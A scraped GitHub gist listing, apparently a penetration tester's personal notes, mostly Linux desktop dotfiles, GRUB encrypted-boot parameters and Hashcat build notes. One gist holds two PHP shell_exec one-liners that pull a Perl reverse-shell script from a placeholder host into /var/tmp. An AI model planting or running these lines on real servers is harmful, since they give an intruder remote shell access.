Skip to content

Instantly share code, notes, and snippets.

View dualfade's full-sized avatar
💭
Fart Sound.

dualfade

💭
Fart Sound.
View GitHub Profile
Disable std modkey r --
enable rofi --
-- Prompt
-- awful.key({ modkey }, "r", function () mypromptbox[mouse.screen.index]:run() end),
-- Run program (d for dmenu ;)
awful.key({ modkey }, "d",
function()
awful.spawn.with_shell("rofi -matching fuzzy -show combi")
# ~/.config/termite/config
[options]
allow_bold = true
clickable_url = true
font = Hack Nerd Font 8
geometry = 700x520
icon_name = terminal
scrollback_lines = 10000
browser = lynx
% cat /etc/xdg/awesome/rc.lua
----- snip ------
-- autorun
-- https://wiki.archlinux.org/index.php/Awesome#Autostart
awful.spawn.with_shell("/etc/xdg/awesome/autorun.sh")
% cat /etc/xdg/awesome/autorun.sh
#!/usr/bin/env bash
function run {
picom --config ~/.config/picom/picom.conf
taken from --
https://gist.github.com/netzverweigerer/dbac005f86baf04edfea1f7e15e44cb5
Amazing job !! Kudo's. Saved me a ton of time. Works perfect with terminator and termite transparency ;) multi monitor --
# Shadow
shadow = true;
shadow-radius = 7;
@dualfade
dualfade / gist:909685ae23534c550ac8dc636ca9ac7a
Created January 22, 2020 02:29
base fluxbox dot xinitrc
system76 Galago Pro 3 HiDPI issues with HDMI && DP out dual screens.
Correct at flux start --
#!/bin/sh
#
# ~/.xinitrc
#
# Executed by startx (run your window manager from here)
@dualfade
dualfade / gist:96c9c022414b4c44a567471406ca1047
Created January 22, 2020 02:21
grub cryptdevice params --
Grub cryptdevice boot options --
/boot/grub/grub.cfg
### BEGIN /etc/grub.d/10_linux ###
----- snip -----
echo 'Loading Linux linux ...'
linux /vmlinuz-linux cryptdevice=UUID=4186b228-f31c-45a7-9c90-06cac1e6174e:root root=/dev/mapper/root rw loglevel=3 quiet
echo 'Loading initial ramdisk ...'
initrd /initramfs-linux.img
@dualfade
dualfade / gist:e2820c24e800fb20abf47357289c3815
Last active January 17, 2020 01:56
Hashcat / Intel CPU --
Shit never works right on Intel machines;
Some notes to make it work --
Fetch Hashcat and Compile it --
https://github.com/hashcat/hashcat
git clone https://github.com/hashcat/hashcat.git
cd hashcat ; make && make install
Obtain latest OpenCL runtime --
Always forget this --
bonehead --
<?php $x = "fetch -R -v -o /var/tmp/r_shell.pl http://x.x.x.x:9001/r_shell.pl"; shell_exec($x);?>
<?php $x = "curl -sk -O /var/tmp/r_shell.pl http://x.x.x.x:9001/r_shell.pl"; shell_exec($x);?>
@dualfade
dualfade / gist:483998a25c704a5a5144e8d37dd863f1
Created January 1, 2020 21:36
CVE-2016-9498 / AppManager12 Deserialization exploit --
LINK --
https://seclists.org/fulldisclosure/2017/Apr/9
https://github.com/frohoff/ysoserial
PROPS to original Creator --
https://blog.jamesotten.com/post/applications-manager-rce/
Sploit --
Rewritten in python3 / Nishang Powershell reverse shell.
https://bit.ly/2QA8TAN
@dualfade
dualfade / gist:38deff5d4d483b6d4bb4d7ad7da853bf
Last active December 31, 2019 03:01
local PT repositories --
repos cd $GIT
Github for i in `find . -name .git 2>/dev/null` ; do echo $i && cat $i/config | ag url; done | uniq
./Snoop/pspy/.git
url = [email protected]:DominicBreuker/pspy.git
./Misc/Audio/spotify-cli-linux/.git
url = [email protected]:pwittchen/spotify-cli-linux.git
./Misc/hurl/.git
url = https://gitlab.com/kalilinux/packages/hurl.git
./Misc/Devel/vim-python-ide/vim-python-ide/.git
url = https://github.com/rapphil/vim-python-ide.git